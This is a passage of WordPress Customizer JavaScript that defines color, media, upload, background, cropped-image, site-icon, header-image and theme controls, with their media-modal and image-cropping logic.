4133 promise.always( function() {
4134 input.val( '' ).removeAttr( 'disabled' );
4135 } );
4136 }
4137 });
4138
4139 /**
4140 * A colorpicker control.
4141 *
4142 * @class wp.customize.ColorControl
4143 * @augments wp.customize.Control
4144 */
4145 api.ColorControl = api.Control.extend(/** @lends wp.customize.ColorControl.prototype */{
4146 ready: function() {
4147 var control = this,
4148 isHueSlider = this.params.mode === 'hue',
4149 updating = false,
4150 picker;
4151
4152 if ( isHueSlider ) {
4153 picker = this.container.find( '.color-picker-hue' );
4154 picker.val( control.setting() ).wpColorPicker({
4155 change: function( event, ui ) {
4156 updating = true;
4157 control.setting( ui.color.h() );
4158 updating = false;
4159 }
4160 });
4161 } else {
4162 picker = this.container.find( '.color-picker-hex' );
4163 picker.val( control.setting() ).wpColorPicker({
4164 change: function() {
4165 updating = true;
4166 control.setting.set( picker.wpColorPicker( 'color' ) );
4167 updating = false;
4168 },
4169 clear: function() {
4170 updating = true;
4171 control.setting.set( '' );
4172 updating = false;
4173 }
4174 });
4175 }
4176
4177 control.setting.bind( function ( value ) {
4178 // Bail if the update came from the control itself.
4179 if ( updating ) {
4180 return;
4181 }
4182 picker.val( value );
4183 picker.wpColorPicker( 'color', value );
4184 } );
4185
4186 // Collapse color picker when hitting Esc instead of collapsing the current section.
4187 control.container.on( 'keydown', function( event ) {
4188 var pickerContainer;
4189 if ( 27 !== event.which ) { // Esc.
4190 return;
4191 }
4192 pickerContainer = control.container.find( '.wp-picker-container' );
4193 if ( pickerContainer.hasClass( 'wp-picker-active' ) ) {
4194 picker.wpColorPicker( 'close' );
4195 control.container.find( '.wp-color-result' ).focus();
4196 event.stopPropagation(); // Prevent section from being collapsed.
4197 }
4198 } );
4199 }
4200 });
4201
4202 /**
4203 * A control that implements the media modal.
4204 *
4205 * @class wp.customize.MediaControl
4206 * @augments wp.customize.Control
4207 */
4208 api.MediaControl = api.Control.extend(/** @lends wp.customize.MediaControl.prototype */{
4209
4210 /**
4211 * When the control's DOM structure is ready,
4212 * set up internal event bindings.
4213 */
4214 ready: function() {
4215 var control = this;
4216 // Shortcut so that we don't have to use _.bind every time we add a callback.
4217 _.bindAll( control, 'restoreDefault', 'removeFile', 'openFrame', 'select', 'pausePlayer' );
4218
4219 // Bind events, with delegation to facilitate re-rendering.
4220 control.container.on( 'click keydown', '.upload-button', control.openFrame );
4221 control.container.on( 'click keydown', '.upload-button', control.pausePlayer );
4222 control.container.on( 'click keydown', '.thumbnail-image img', control.openFrame );
4223 control.container.on( 'click keydown', '.default-button', control.restoreDefault );
4224 control.container.on( 'click keydown', '.remove-button', control.pausePlayer );
4225 control.container.on( 'click keydown', '.remove-button', control.removeFile );
4226 control.container.on( 'click keydown', '.remove-button', control.cleanupPlayer );
4227
4228 // Resize the player controls when it becomes visible (ie when section is expanded).
4229 api.section( control.section() ).container
4230 .on( 'expanded', function() {
4231 if ( control.player ) {
4232 control.player.setControlsSize();
4233 }
4234 })
4235 .on( 'collapsed', function() {
4236 control.pausePlayer();
4237 });
4238
4239 /**
4240 * Set attachment data and render content.
4241 *
4242 * Note that BackgroundImage.prototype.ready applies this ready method
4243 * to itself. Since BackgroundImage is an UploadControl, the value
4244 * is the attachment URL instead of the attachment ID. In this case
4245 * we skip fetching the attachment data because we have no ID available,
4246 * and it is the responsibility of the UploadControl to set the control's
4247 * attachmentData before calling the renderContent method.
4248 *
4249 * @param {number|string} value Attachment
4250 */
4251 function setAttachmentDataAndRenderContent( value ) {
4252 var hasAttachmentData = $.Deferred();
4253
4254 if ( control.extended( api.UploadControl ) ) {
4255 hasAttachmentData.resolve();
4256 } else {
4257 value = parseInt( value, 10 );
4258 if ( _.isNaN( value ) || value <= 0 ) {
4259 delete control.params.attachment;
4260 hasAttachmentData.resolve();
4261 } else if ( control.params.attachment && control.params.attachment.id === value ) {
4262 hasAttachmentData.resolve();
4263 }
4264 }
4265
4266 // Fetch the attachment data.
4267 if ( 'pending' === hasAttachmentData.state() ) {
4268 wp.media.attachment( value ).fetch().done( function() {
4269 control.params.attachment = this.attributes;
4270 hasAttachmentData.resolve();
4271
4272 // Send attachment information to the preview for possible use in `postMessage` transport.
4273 wp.customize.previewer.send( control.setting.id + '-attachment-data', this.attributes );
4274 } );
4275 }
4276
4277 hasAttachmentData.done( function() {
4278 control.renderContent();
4279 } );
4280 }
4281
4282 // Ensure attachment data is initially set (for dynamically-instantiated controls).
4283 setAttachmentDataAndRenderContent( control.setting() );
4284
4285 // Update the attachment data and re-render the control when the setting changes.
4286 control.setting.bind( setAttachmentDataAndRenderContent );
4287 },
4288
4289 pausePlayer: function () {
4290 this.player && this.player.pause();
4291 },
4292
4293 cleanupPlayer: function () {
4294 this.player && wp.media.mixin.removePlayer( this.player );
4295 },
4296
4297 /**
4298 * Open the media modal.
4299 */
4300 openFrame: function( event ) {
4301 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
4302 return;
4303 }
4304
4305 event.preventDefault();
4306
4307 if ( ! this.frame ) {
4308 this.initFrame();
4309 }
4310
4311 this.frame.open();
4312 },
4313
4314 /**
4315 * Create a media modal select frame, and store it so the instance can be reused when needed.
4316 */
4317 initFrame: function() {
4318 this.frame = wp.media({
4319 button: {
4320 text: this.params.button_labels.frame_button
4321 },
4322 states: [
4323 new wp.media.controller.Library({
4324 title: this.params.button_labels.frame_title,
4325 library: wp.media.query({ type: this.params.mime_type }),
4326 multiple: false,
4327 date: false
4328 })
4329 ]
4330 });
4331
4332 // When a file is selected, run a callback.
4333 this.frame.on( 'select', this.select );
4334 },
4335
4336 /**
4337 * Callback handler for when an attachment is selected in the media modal.
4338 * Gets the selected image information, and sets it within the control.
4339 */
4340 select: function() {
4341 // Get the attachment from the modal frame.
4342 var node,
4343 attachment = this.frame.state().get( 'selection' ).first().toJSON(),
4344 mejsSettings = window._wpmejsSettings || {};
4345
4346 this.params.attachment = attachment;
4347
4348 // Set the Customizer setting; the callback takes care of rendering.
4349 this.setting( attachment.id );
4350 node = this.container.find( 'audio, video' ).get(0);
4351
4352 // Initialize audio/video previews.
4353 if ( node ) {
4354 this.player = new MediaElementPlayer( node, mejsSettings );
4355 } else {
4356 this.cleanupPlayer();
4357 }
4358 },
4359
4360 /**
4361 * Reset the setting to the default value.
4362 */
4363 restoreDefault: function( event ) {
4364 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
4365 return;
4366 }
4367 event.preventDefault();
4368
4369 this.params.attachment = this.params.defaultAttachment;
4370 this.setting( this.params.defaultAttachment.url );
4371 },
4372
4373 /**
4374 * Called when the "Remove" link is clicked. Empties the setting.
4375 *
4376 * @param {Object} event jQuery Event object
4377 */
4378 removeFile: function( event ) {
4379 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
4380 return;
4381 }
4382 event.preventDefault();
4383
4384 this.params.attachment = {};
4385 this.setting( '' );
4386 this.renderContent(); // Not bound to setting change when emptying.
4387 }
4388 });
4389
4390 /**
4391 * An upload control, which utilizes the media modal.
4392 *
4393 * @class wp.customize.UploadControl
4394 * @augments wp.customize.MediaControl
4395 */
4396 api.UploadControl = api.MediaControl.extend(/** @lends wp.customize.UploadControl.prototype */{
4397
4398 /**
4399 * Callback handler for when an attachment is selected in the media modal.
4400 * Gets the selected image information, and sets it within the control.
4401 */
4402 select: function() {
4403 // Get the attachment from the modal frame.
4404 var node,
4405 attachment = this.frame.state().get( 'selection' ).first().toJSON(),
4406 mejsSettings = window._wpmejsSettings || {};
4407
4408 this.params.attachment = attachment;
4409
4410 // Set the Customizer setting; the callback takes care of rendering.
4411 this.setting( attachment.url );
4412 node = this.container.find( 'audio, video' ).get(0);
4413
4414 // Initialize audio/video previews.
4415 if ( node ) {
4416 this.player = new MediaElementPlayer( node, mejsSettings );
4417 } else {
4418 this.cleanupPlayer();
4419 }
4420 },
4421
4422 // @deprecated
4423 success: function() {},
4424
4425 // @deprecated
4426 removerVisibility: function() {}
4427 });
4428
4429 /**
4430 * A control for uploading images.
4431 *
4432 * This control no longer needs to do anything more
4433 * than what the upload control does in JS.
4434 *
4435 * @class wp.customize.ImageControl
4436 * @augments wp.customize.UploadControl
4437 */
4438 api.ImageControl = api.UploadControl.extend(/** @lends wp.customize.ImageControl.prototype */{
4439 // @deprecated
4440 thumbnailSrc: function() {}
4441 });
4442
4443 /**
4444 * A control for uploading background images.
4445 *
4446 * @class wp.customize.BackgroundControl
4447 * @augments wp.customize.UploadControl
4448 */
4449 api.BackgroundControl = api.UploadControl.extend(/** @lends wp.customize.BackgroundControl.prototype */{
4450
4451 /**
4452 * When the control's DOM structure is ready,
4453 * set up internal event bindings.
4454 */
4455 ready: function() {
4456 api.UploadControl.prototype.ready.apply( this, arguments );
4457 },
4458
4459 /**
4460 * Callback handler for when an attachment is selected in the media modal.
4461 * Does an additional Ajax request for setting the background context.
4462 */
4463 select: function() {
4464 api.UploadControl.prototype.select.apply( this, arguments );
4465
4466 wp.ajax.post( 'custom-background-add', {
4467 nonce: _wpCustomizeBackground.nonces.add,
4468 wp_customize: 'on',
4469 customize_theme: api.settings.theme.stylesheet,
4470 attachment_id: this.params.attachment.id
4471 } );
4472 }
4473 });
4474
4475 /**
4476 * A control for positioning a background image.
4477 *
4478 * @since 4.7.0
4479 *
4480 * @class wp.customize.BackgroundPositionControl
4481 * @augments wp.customize.Control
4482 */
4483 api.BackgroundPositionControl = api.Control.extend(/** @lends wp.customize.BackgroundPositionControl.prototype */{
4484
4485 /**
4486 * Set up control UI once embedded in DOM and settings are created.
4487 *
4488 * @since 4.7.0
4489 * @access public
4490 */
4491 ready: function() {
4492 var control = this, updateRadios;
4493
4494 control.container.on( 'change', 'input[name="background-position"]', function() {
4495 var position = $( this ).val().split( ' ' );
4496 control.settings.x( position[0] );
4497 control.settings.y( position[1] );
4498 } );
4499
4500 updateRadios = _.debounce( function() {
4501 var x, y, radioInput, inputValue;
4502 x = control.settings.x.get();
4503 y = control.settings.y.get();
4504 inputValue = String( x ) + ' ' + String( y );
4505 radioInput = control.container.find( 'input[name="background-position"][value="' + inputValue + '"]' );
4506 radioInput.trigger( 'click' );
4507 } );
4508 control.settings.x.bind( updateRadios );
4509 control.settings.y.bind( updateRadios );
4510
4511 updateRadios(); // Set initial UI.
4512 }
4513 } );
4514
4515 /**
4516 * A control for selecting and cropping an image.
4517 *
4518 * @class wp.customize.CroppedImageControl
4519 * @augments wp.customize.MediaControl
4520 */
4521 api.CroppedImageControl = api.MediaControl.extend(/** @lends wp.customize.CroppedImageControl.prototype */{
4522
4523 /**
4524 * Open the media modal to the library state.
4525 */
4526 openFrame: function( event ) {
4527 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
4528 return;
4529 }
4530
4531 this.initFrame();
4532 this.frame.setState( 'library' ).open();
4533 },
4534
4535 /**
4536 * Create a media modal select frame, and store it so the instance can be reused when needed.
4537 */
4538 initFrame: function() {
4539 var l10n = _wpMediaViewsL10n;
4540
4541 this.frame = wp.media({
4542 button: {
4543 text: l10n.select,
4544 close: false
4545 },
4546 states: [
4547 new wp.media.controller.Library({
4548 title: this.params.button_labels.frame_title,
4549 library: wp.media.query({ type: 'image' }),
4550 multiple: false,
4551 date: false,
4552 priority: 20,
4553 suggestedWidth: this.params.width,
4554 suggestedHeight: this.params.height
4555 }),
4556 new wp.media.controller.CustomizeImageCropper({
4557 imgSelectOptions: this.calculateImageSelectOptions,
4558 control: this
4559 })
4560 ]
4561 });
4562
4563 this.frame.on( 'select', this.onSelect, this );
4564 this.frame.on( 'cropped', this.onCropped, this );
4565 this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
4566 },
4567
4568 /**
4569 * After an image is selected in the media modal, switch to the cropper
4570 * state if the image isn't the right size.
4571 */
4572 onSelect: function() {
4573 var attachment = this.frame.state().get( 'selection' ).first().toJSON();
4574
4575 if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
4576 this.setImageFromAttachment( attachment );
4577 this.frame.close();
4578 } else {
4579 this.frame.setState( 'cropper' );
4580 }
4581 },
4582
4583 /**
4584 * After the image has been cropped, apply the cropped image data to the setting.
4585 *
4586 * @param {Object} croppedImage Cropped attachment data.
4587 */
4588 onCropped: function( croppedImage ) {
4589 this.setImageFromAttachment( croppedImage );
4590 },
4591
4592 /**
4593 * Returns a set of options, computed from the attached image data and
4594 * control-specific data, to be fed to the imgAreaSelect plugin in
4595 * wp.media.view.Cropper.
4596 *
4597 * @param {wp.media.model.Attachment} attachment
4598 * @param {wp.media.controller.Cropper} controller
4599 * @return {Object} Options
4600 */
4601 calculateImageSelectOptions: function( attachment, controller ) {
4602 var control = controller.get( 'control' ),
4603 flexWidth = !! parseInt( control.params.flex_width, 10 ),
4604 flexHeight = !! parseInt( control.params.flex_height, 10 ),
4605 realWidth = attachment.get( 'width' ),
4606 realHeight = attachment.get( 'height' ),
4607 xInit = parseInt( control.params.width, 10 ),
4608 yInit = parseInt( control.params.height, 10 ),
4609 requiredRatio = xInit / yInit,
4610 realRatio = realWidth / realHeight,
4611 xImg = xInit,
4612 yImg = yInit,
4613 x1, y1, imgSelectOptions;
4614
4615 controller.set( 'hasRequiredAspectRatio', control.hasRequiredAspectRatio( requiredRatio, realRatio ) );
4616 controller.set( 'suggestedCropSize', { width: realWidth, height: realHeight, x1: 0, y1: 0, x2: xInit, y2: yInit } );
4617 controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) );
4618
4619 if ( realRatio > requiredRatio ) {
4620 yInit = realHeight;
4621 xInit = yInit * requiredRatio;
4622 } else {
4623 xInit = realWidth;
4624 yInit = xInit / requiredRatio;
4625 }
4626
4627 x1 = ( realWidth - xInit ) / 2;
4628 y1 = ( realHeight - yInit ) / 2;
4629
4630 imgSelectOptions = {
4631 handles: true,
4632 keys: true,
4633 instance: true,
4634 persistent: true,
4635 imageWidth: realWidth,
4636 imageHeight: realHeight,
4637 minWidth: xImg > xInit ? xInit : xImg,
4638 minHeight: yImg > yInit ? yInit : yImg,
4639 x1: x1,
4640 y1: y1,
4641 x2: xInit + x1,
4642 y2: yInit + y1
4643 };
4644
4645 if ( flexHeight === false && flexWidth === false ) {
4646 imgSelectOptions.aspectRatio = xInit + ':' + yInit;
4647 }
4648
4649 if ( true === flexHeight ) {
4650 delete imgSelectOptions.minHeight;
4651 imgSelectOptions.maxWidth = realWidth;
4652 }
4653
4654 if ( true === flexWidth ) {
4655 delete imgSelectOptions.minWidth;
4656 imgSelectOptions.maxHeight = realHeight;
4657 }
4658
4659 return imgSelectOptions;
4660 },
4661
4662 /**
4663 * Return whether the image must be cropped, based on required dimensions.
4664 *
4665 * @param {boolean} flexW Width is flexible.
4666 * @param {boolean} flexH Height is flexible.
4667 * @param {number} dstW Required width.
4668 * @param {number} dstH Required height.
4669 * @param {number} imgW Provided image's width.
4670 * @param {number} imgH Provided image's height.
4671 * @return {boolean} Whether cropping is required.
4672 */
4673 mustBeCropped: function( flexW, flexH, dstW, dstH, imgW, imgH ) {
4674 if ( true === flexW && true === flexH ) {
4675 return false;
4676 }
4677
4678 if ( true === flexW && dstH === imgH ) {
4679 return false;
4680 }
4681
4682 if ( true === flexH && dstW === imgW ) {
4683 return false;
4684 }
4685
4686 if ( dstW === imgW && dstH === imgH ) {
4687 return false;
4688 }
4689
4690 if ( imgW <= dstW ) {
4691 return false;
4692 }
4693
4694 return true;
4695 },
4696
4697 /**
4698 * Check if the image's aspect ratio essentially matches the required aspect ratio.
4699 *
4700 * Floating point precision is low, so this allows a small tolerance. This
4701 * tolerance allows for images over 100,000 px on either side to still trigger
4702 * the cropping flow.
4703 *
4704 * @param {number} requiredRatio Required image ratio.
4705 * @param {number} realRatio Provided image ratio.
4706 * @return {boolean} Whether the image has the required aspect ratio.
4707 */
4708 hasRequiredAspectRatio: function ( requiredRatio, realRatio ) {
4709 if ( Math.abs( requiredRatio - realRatio ) < 0.000001 ) {
4710 return true;
4711 }
4712
4713 return false;
4714 },
4715
4716 /**
4717 * If cropping was skipped, apply the image data directly to the setting.
4718 */
4719 onSkippedCrop: function() {
4720 var attachment = this.frame.state().get( 'selection' ).first().toJSON();
4721 this.setImageFromAttachment( attachment );
4722 },
4723
4724 /**
4725 * Updates the setting and re-renders the control UI.
4726 *
4727 * @param {Object} attachment
4728 */
4729 setImageFromAttachment: function( attachment ) {
4730 var control = this;
4731 this.params.attachment = attachment;
4732
4733 // Set the Customizer setting; the callback takes care of rendering.
4734 this.setting( attachment.id );
4735
4736 // Set focus to the first relevant button after the icon.
4737 _.defer( function() {
4738 var firstButton = control.container.find( '.actions .button' ).first();
4739 if ( firstButton.length ) {
4740 firstButton.focus();
4741 }
4742 } );
4743 }
4744 });
4745
4746 /**
4747 * A control for selecting and cropping Site Icons.
4748 *
4749 * @class wp.customize.SiteIconControl
4750 * @augments wp.customize.CroppedImageControl
4751 */
4752 api.SiteIconControl = api.CroppedImageControl.extend(/** @lends wp.customize.SiteIconControl.prototype */{
4753
4754 /**
4755 * Create a media modal select frame, and store it so the instance can be reused when needed.
4756 */
4757 initFrame: function() {
4758 var l10n = _wpMediaViewsL10n;
4759
4760 this.frame = wp.media({
4761 button: {
4762 text: l10n.select,
4763 close: false
4764 },
4765 states: [
4766 new wp.media.controller.Library({
4767 title: this.params.button_labels.frame_title,
4768 library: wp.media.query({ type: 'image' }),
4769 multiple: false,
4770 date: false,
4771 priority: 20,
4772 suggestedWidth: this.params.width,
4773 suggestedHeight: this.params.height
4774 }),
4775 new wp.media.controller.SiteIconCropper({
4776 imgSelectOptions: this.calculateImageSelectOptions,
4777 control: this
4778 })
4779 ]
4780 });
4781
4782 this.frame.on( 'select', this.onSelect, this );
4783 this.frame.on( 'cropped', this.onCropped, this );
4784 this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
4785 },
4786
4787 /**
4788 * After an image is selected in the media modal, switch to the cropper
4789 * state if the image isn't the right size.
4790 */
4791 onSelect: function() {
4792 var attachment = this.frame.state().get( 'selection' ).first().toJSON(),
4793 controller = this;
4794
4795 if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
4796 wp.ajax.post( 'crop-image', {
4797 nonce: attachment.nonces.edit,
4798 id: attachment.id,
4799 context: 'site-icon',
4800 cropDetails: {
4801 x1: 0,
4802 y1: 0,
4803 width: this.params.width,
4804 height: this.params.height,
4805 dst_width: this.params.width,
4806 dst_height: this.params.height
4807 }
4808 } ).done( function( croppedImage ) {
4809 controller.setImageFromAttachment( croppedImage );
4810 controller.frame.close();
4811 } ).fail( function() {
4812 controller.frame.trigger('content:error:crop');
4813 } );
4814 } else {
4815 this.frame.setState( 'cropper' );
4816 }
4817 },
4818
4819 /**
4820 * Updates the setting and re-renders the control UI.
4821 *
4822 * @param {Object} attachment
4823 */
4824 setImageFromAttachment: function( attachment ) {
4825 var control = this,
4826 sizes = [ 'site_icon-32', 'thumbnail', 'full' ], link,
4827 icon;
4828
4829 _.each( sizes, function( size ) {
4830 if ( ! icon && ! _.isUndefined ( attachment.sizes[ size ] ) ) {
4831 icon = attachment.sizes[ size ];
4832 }
4833 } );
4834
4835 this.params.attachment = attachment;
4836
4837 // Set the Customizer setting; the callback takes care of rendering.
4838 this.setting( attachment.id );
4839
4840 if ( ! icon ) {
4841 return;
4842 }
4843
4844 // Update the icon in-browser.
4845 link = $( 'link[rel="icon"][sizes="32x32"]' );
4846 link.attr( 'href', icon.url );
4847
4848 // Set focus to the first relevant button after the icon.
4849 _.defer( function() {
4850 var firstButton = control.container.find( '.actions .button' ).first();
4851 if ( firstButton.length ) {
4852 firstButton.focus();
4853 }
4854 } );
4855 },
4856
4857 /**
4858 * Called when the "Remove" link is clicked. Empties the setting.
4859 *
4860 * @param {Object} event jQuery Event object
4861 */
4862 removeFile: function( event ) {
4863 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
4864 return;
4865 }
4866 event.preventDefault();
4867
4868 this.params.attachment = {};
4869 this.setting( '' );
4870 this.renderContent(); // Not bound to setting change when emptying.
4871 $( 'link[rel="icon"][sizes="32x32"]' ).attr( 'href', '/favicon.ico' ); // Set to default.
4872 }
4873 });
4874
4875 /**
4876 * @class wp.customize.HeaderControl
4877 * @augments wp.customize.Control
4878 */
4879 api.HeaderControl = api.Control.extend(/** @lends wp.customize.HeaderControl.prototype */{
4880 ready: function() {
4881 this.btnRemove = $('#customize-control-header_image .actions .remove');
4882 this.btnNew = $('#customize-control-header_image .actions .new');
4883
4884 _.bindAll(this, 'openMedia', 'removeImage');
4885
4886 this.btnNew.on( 'click', this.openMedia );
4887 this.btnRemove.on( 'click', this.removeImage );
4888
4889 api.HeaderTool.currentHeader = this.getInitialHeaderImage();
4890
4891 new api.HeaderTool.CurrentView({
4892 model: api.HeaderTool.currentHeader,
4893 el: '#customize-control-header_image .current .container'
4894 });
4895
4896 new api.HeaderTool.ChoiceListView({
4897 collection: api.HeaderTool.UploadsList = new api.HeaderTool.ChoiceList(),
4898 el: '#customize-control-header_image .choices .uploaded .list'
4899 });
4900
4901 new api.HeaderTool.ChoiceListView({
4902 collection: api.HeaderTool.DefaultsList = new api.HeaderTool.DefaultsList(),
4903 el: '#customize-control-header_image .choices .default .list'
4904 });
4905
4906 api.HeaderTool.combinedList = api.HeaderTool.CombinedList = new api.HeaderTool.CombinedList([
4907 api.HeaderTool.UploadsList,
4908 api.HeaderTool.DefaultsList
4909 ]);
4910
4911 // Ensure custom-header-crop Ajax requests bootstrap the Customizer to activate the previewed theme.
4912 wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize = 'on';
4913 wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme = api.settings.theme.stylesheet;
4914 },
4915
4916 /**
4917 * Returns a new instance of api.HeaderTool.ImageModel based on the currently
4918 * saved header image (if any).
4919 *
4920 * @since 4.2.0
4921 *
4922 * @return {Object} Options
4923 */
4924 getInitialHeaderImage: function() {
4925 if ( ! api.get().header_image || ! api.get().header_image_data || _.contains( [ 'remove-header', 'random-default-image', 'random-uploaded-image' ], api.get().header_image ) ) {
4926 return new api.HeaderTool.ImageModel();
4927 }
4928
4929 // Get the matching uploaded image object.
4930 var currentHeaderObject = _.find( _wpCustomizeHeader.uploads, function( imageObj ) {
4931 return ( imageObj.attachment_id === api.get().header_image_data.attachment_id );
4932 } );
4933 // Fall back to raw current header image.
4934 if ( ! currentHeaderObject ) {
4935 currentHeaderObject = {
4936 url: api.get().header_image,
4937 thumbnail_url: api.get().header_image,
4938 attachment_id: api.get().header_image_data.attachment_id
4939 };
4940 }
4941
4942 return new api.HeaderTool.ImageModel({
4943 header: currentHeaderObject,
4944 choice: currentHeaderObject.url.split( '/' ).pop()
4945 });
4946 },
4947
4948 /**
4949 * Returns a set of options, computed from the attached image data and
4950 * theme-specific data, to be fed to the imgAreaSelect plugin in
4951 * wp.media.view.Cropper.
4952 *
4953 * @param {wp.media.model.Attachment} attachment
4954 * @param {wp.media.controller.Cropper} controller
4955 * @return {Object} Options
4956 */
4957 calculateImageSelectOptions: function(attachment, controller) {
4958 var xInit = parseInt(_wpCustomizeHeader.data.width, 10),
4959 yInit = parseInt(_wpCustomizeHeader.data.height, 10),
4960 flexWidth = !! parseInt(_wpCustomizeHeader.data['flex-width'], 10),
4961 flexHeight = !! parseInt(_wpCustomizeHeader.data['flex-height'], 10),
4962 ratio, xImg, yImg, realHeight, realWidth,
4963 imgSelectOptions;
4964
4965 realWidth = attachment.get('width');
4966 realHeight = attachment.get('height');
4967
4968 this.headerImage = new api.HeaderTool.ImageModel();
4969 this.headerImage.set({
4970 themeWidth: xInit,
4971 themeHeight: yInit,
4972 themeFlexWidth: flexWidth,
4973 themeFlexHeight: flexHeight,
4974 imageWidth: realWidth,
4975 imageHeight: realHeight
4976 });
4977
4978 controller.set( 'canSkipCrop', ! this.headerImage.shouldBeCropped() );
4979
4980 ratio = xInit / yInit;
4981 xImg = realWidth;
4982 yImg = realHeight;
4983
4984 if ( xImg / yImg > ratio ) {
4985 yInit = yImg;
4986 xInit = yInit * ratio;
4987 } else {
4988 xInit = xImg;
4989 yInit = xInit / ratio;
4990 }
4991
4992 imgSelectOptions = {
4993 handles: true,
4994 keys: true,
4995 instance: true,
4996 persistent: true,
4997 imageWidth: realWidth,
4998 imageHeight: realHeight,
4999 x1: 0,
5000 y1: 0,
5001 x2: xInit,
5002 y2: yInit
5003 };
5004
5005 if (flexHeight === false && flexWidth === false) {
5006 imgSelectOptions.aspectRatio = xInit + ':' + yInit;
5007 }
5008 if (flexHeight === false ) {
5009 imgSelectOptions.maxHeight = yInit;
5010 }
5011 if (flexWidth === false ) {
5012 imgSelectOptions.maxWidth = xInit;
5013 }
5014
5015 return imgSelectOptions;
5016 },
5017
5018 /**
5019 * Sets up and opens the Media Manager in order to select an image.
5020 * Depending on both the size of the image and the properties of the
5021 * current theme, a cropping step after selection may be required or
5022 * skippable.
5023 *
5024 * @param {event} event
5025 */
5026 openMedia: function(event) {
5027 var l10n = _wpMediaViewsL10n;
5028
5029 event.preventDefault();
5030
5031 this.frame = wp.media({
5032 button: {
5033 text: l10n.selectAndCrop,
5034 close: false
5035 },
5036 states: [
5037 new wp.media.controller.Library({
5038 title: l10n.chooseImage,
5039 library: wp.media.query({ type: 'image' }),
5040 multiple: false,
5041 date: false,
5042 priority: 20,
5043 suggestedWidth: _wpCustomizeHeader.data.width,
5044 suggestedHeight: _wpCustomizeHeader.data.height
5045 }),
5046 new wp.media.controller.Cropper({
5047 imgSelectOptions: this.calculateImageSelectOptions
5048 })
5049 ]
5050 });
5051
5052 this.frame.on('select', this.onSelect, this);
5053 this.frame.on('cropped', this.onCropped, this);
5054 this.frame.on('skippedcrop', this.onSkippedCrop, this);
5055
5056 this.frame.open();
5057 },
5058
5059 /**
5060 * After an image is selected in the media modal,
5061 * switch to the cropper state.
5062 */
5063 onSelect: function() {
5064 this.frame.setState('cropper');
5065 },
5066
5067 /**
5068 * After the image has been cropped, apply the cropped image data to the setting.
5069 *
5070 * @param {Object} croppedImage Cropped attachment data.
5071 */
5072 onCropped: function(croppedImage) {
5073 var url = croppedImage.url,
5074 attachmentId = croppedImage.attachment_id,
5075 w = croppedImage.width,
5076 h = croppedImage.height;
5077 this.setImageFromURL(url, attachmentId, w, h);
5078 },
5079
5080 /**
5081 * If cropping was skipped, apply the image data directly to the setting.
5082 *
5083 * @param {Object} selection
5084 */
5085 onSkippedCrop: function(selection) {
5086 var url = selection.get('url'),
5087 w = selection.get('width'),
5088 h = selection.get('height');
5089 this.setImageFromURL(url, selection.id, w, h);
5090 },
5091
5092 /**
5093 * Creates a new wp.customize.HeaderTool.ImageModel from provided
5094 * header image data and inserts it into the user-uploaded headers
5095 * collection.
5096 *
5097 * @param {string} url
5098 * @param {number} attachmentId
5099 * @param {number} width
5100 * @param {number} height
5101 */
5102 setImageFromURL: function(url, attachmentId, width, height) {
5103 var choice, data = {};
5104
5105 data.url = url;
5106 data.thumbnail_url = url;
5107 data.timestamp = _.now();
5108
5109 if (attachmentId) {
5110 data.attachment_id = attachmentId;
5111 }
5112
5113 if (width) {
5114 data.width = width;
5115 }
5116
5117 if (height) {
5118 data.height = height;
5119 }
5120
5121 choice = new api.HeaderTool.ImageModel({
5122 header: data,
5123 choice: url.split('/').pop()
5124 });
5125 api.HeaderTool.UploadsList.add(choice);
5126 api.HeaderTool.currentHeader.set(choice.toJSON());
5127 choice.save();
5128 choice.importImage();
5129 },
5130
5131 /**
5132 * Triggers the necessary events to deselect an image which was set as
5133 * the currently selected one.
5134 */
5135 removeImage: function() {
5136 api.HeaderTool.currentHeader.trigger('hide');
5137 api.HeaderTool.CombinedList.trigger('control:removeImage');
5138 }
5139
5140 });
5141
5142 /**
5143 * wp.customize.ThemeControl
5144 *
5145 * @class wp.customize.ThemeControl
5146 * @augments wp.customize.Control
5147 */
5148 api.ThemeControl = api.Control.extend(/** @lends wp.customize.ThemeControl.prototype */{
5149
5150 touchDrag: false,
5151 screenshotRendered: false,
5152
5153 /**
5154 * @since 4.2.0
5155 */
5156 ready: function() {
5157 var control = this, panel = api.panel( 'themes' );
5158
5159 function disableSwitchButtons() {
5160 return ! panel.canSwitchTheme( control.params.theme.id );
5161 }
5162
5163 // Temporary special function since supplying SFTP credentials does not work yet. See #42184.
5164 function disableInstallButtons() {
5165 return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
5166 }
5167 function updateButtons() {
5168 control.container.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
5169 control.container.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );
5170 }
5171
5172 api.state( 'selectedChangesetStatus' ).bind( updateButtons );
5173 api.state( 'changesetStatus' ).bind( updateButtons );
5174 updateButtons();
5175
5176 control.container.on( 'touchmove', '.theme', function() {
5177 control.touchDrag = true;
5178 });
5179
5180 // Bind details view trigger.
5181 control.container.on( 'click keydown touchend', '.theme', function( event ) {
5182 var section;
5183 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
5184 return;
5185 }
5186
5187 // Bail if the user scrolled on a touch device.
5188 if ( control.touchDrag === true ) {
5189 return control.touchDrag = false;
5190 }
5191
5192 // Prevent the modal from showing when the user clicks the action button.
5193 if ( $( event.target ).is( '.theme-actions .button, .update-theme' ) ) {
5194 return;
5195 }
5196
5197 event.preventDefault(); // Keep this AFTER the key filter above.
5198 section = api.section( control.section() );
5199 section.showDetails( control.params.theme, function() {
5200
5201 // Temporary special function since supplying SFTP credentials does not work yet. See #42184.
5202 if ( api.settings.theme._filesystemCredentialsNeeded ) {
5203 section.overlay.find( '.theme-actions .delete-theme' ).remove();
5204 }
